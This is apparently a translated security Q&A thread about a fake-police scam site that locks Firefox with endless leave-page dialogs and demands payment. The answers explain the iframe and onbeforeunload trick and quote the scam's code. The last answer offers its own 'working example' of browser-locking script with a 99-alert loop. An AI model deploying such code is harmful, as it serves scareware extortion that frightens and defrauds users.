网站阻止用户关闭选项卡/关闭浏览器

信息安全 恶意软件 网页浏览器
2021-08-17 05:54:10

我遇到了以下网站

hxxp://politie.nl.id169787298-7128265115.e2418.com/ [Possible malware]

每当我在 Firefox 中打开它时,它都会阻止我关闭它,如果不使用任务管理器,我什至无法关闭浏览器。该网站要钱才能解锁,我可以想象有些人可能会爱上它。这怎么可能发生?我认为 Firefox 是一个或多或少安全的浏览器?

我没有在其他浏览器上检查过。

2个回答

更新:这不再是 Firefox (29+) 和 Chrome (版本?不确定它是否曾经是一个问题) 的问题。Firefox 现在只会显示一个对话框。

Firefox 31 还使对话框成为非模式对话框,并且如果您第二次按下关闭按钮也会关闭窗口。

不幸的是,IE11 仍然显示多个对话框。我不确定微软是否意识到这个问题。


这个方法其实很简单。如果您检查源代码,您会看到此行有很多重复:

<iframe test="test" srcdoc="<script> window.onbeforeunload=function(env){ return 'YОUR BRОWSЕR HAS BЕЕN LОCKЕD. АLL PC DАTА WILL BЕ DЕTАINЕD АND CRIMINАL PRОCЕDURЕS WILL BЕ INITIАTЕD АGАINST YОU IF THЕ FINЕ WILL NОT BЕ PАID.';} </script>" src="au/close.php"></iframe>

基本上,他们有一大堆 iframe,每个 iframe 都可以触发一次“你确定要离开”消息。无论如何它都不是无限的(正如Braiam所说,你可以按住enter离开页面),但它可能足以欺骗一些人。

这可以说是按预期行事 - 尽管添加一个“不再显示”复选框可能会更好,就像它们为alert弹出窗口所做的那样。

防止这种事情发生的另一种方法是在您不信任的网站上禁用 JavaScript。NoScript 运行良好。但是,这有时会有些烦人和/或破坏站点。


感兴趣的人:Chrome 实际上会显示一个长对话框。这有其自身的问题 - 这一个浏览器错误 - 按钮被推出页面底部(发生任何太长的 Chrome 弹出窗口)。你还是可以打的enterChrome 对话框似乎是由不同的alert弹出窗口启动的,它实际上似乎根本不显示 iframe 卸载文本 - 很可能他们专门添加了这个来捕获 Chrome 用户:

<script type="text/javascript">window.onbeforeunload = function(env){var str = '\n\nUw br' + 'оws' + 'еr is gе' + 'blо' + 'kkе' + 'еrd.\n\nAl' + 'le P' + 'C dа' + 'tа zu' + 'lle' + 'n wо' + 'rde' + 'n vа' + 'stgе' + 'hou' + 'den e' + 'n st' + 'rаf' + 'rес' + 'htе' + 'li' + 'jk' + 'е pr' + 'ocе' + 'dur' + 'es zu' + 'lle' + 'n wо' + 'rd' + 'en ing' + 'еlе' + 'id te' + 'ge' + 'n u al' + 's d' + 'e bo' + 'еt' + 'е ni' + 'et wo' + 'rd' + 't be' + 'taa' + 'ld.\n\n';
        alert(str);
    return str;
}
</script>

同样,它只不过是一个似乎无法摆脱的可怕弹出窗口。恶意?是的。真的很危险吗?并不真地。只要你不上骗局。


另一个潜在的兴趣是它们确实显示了您的公共 IP 和大致位置。在这些诈骗网站上,这是一种相当标准的恐吓策略,实际上并没有什么特别之处——您连接的任何网站都可以获得您的公共 IP,公共 GeoIP 数据库通常可以提供大致位置。如果您真的担心,请使用 VPN 或匿名代理进行连接。

您可以使用警报循环以及在主体上创建函数调用我在主体上添加了许多事件。

在这里您可以找到一个工作示例。

<script>
  var errormessage_text = "***System Alert***";
  var redirect_url = window.location;
</script></code>
<body onload="myFunction();" onmouseover="myFunction();" onclick="myFunction();" onkeydown="myFunction();" onunload="myFunction();">
<script>
    window.onbeforeunload=function(){
    window.location.href=redirect_url,'_blank';
    return errormessage_text;
  };
 for(i=0;i<99;i++){alert(errormessage_text);}<//script>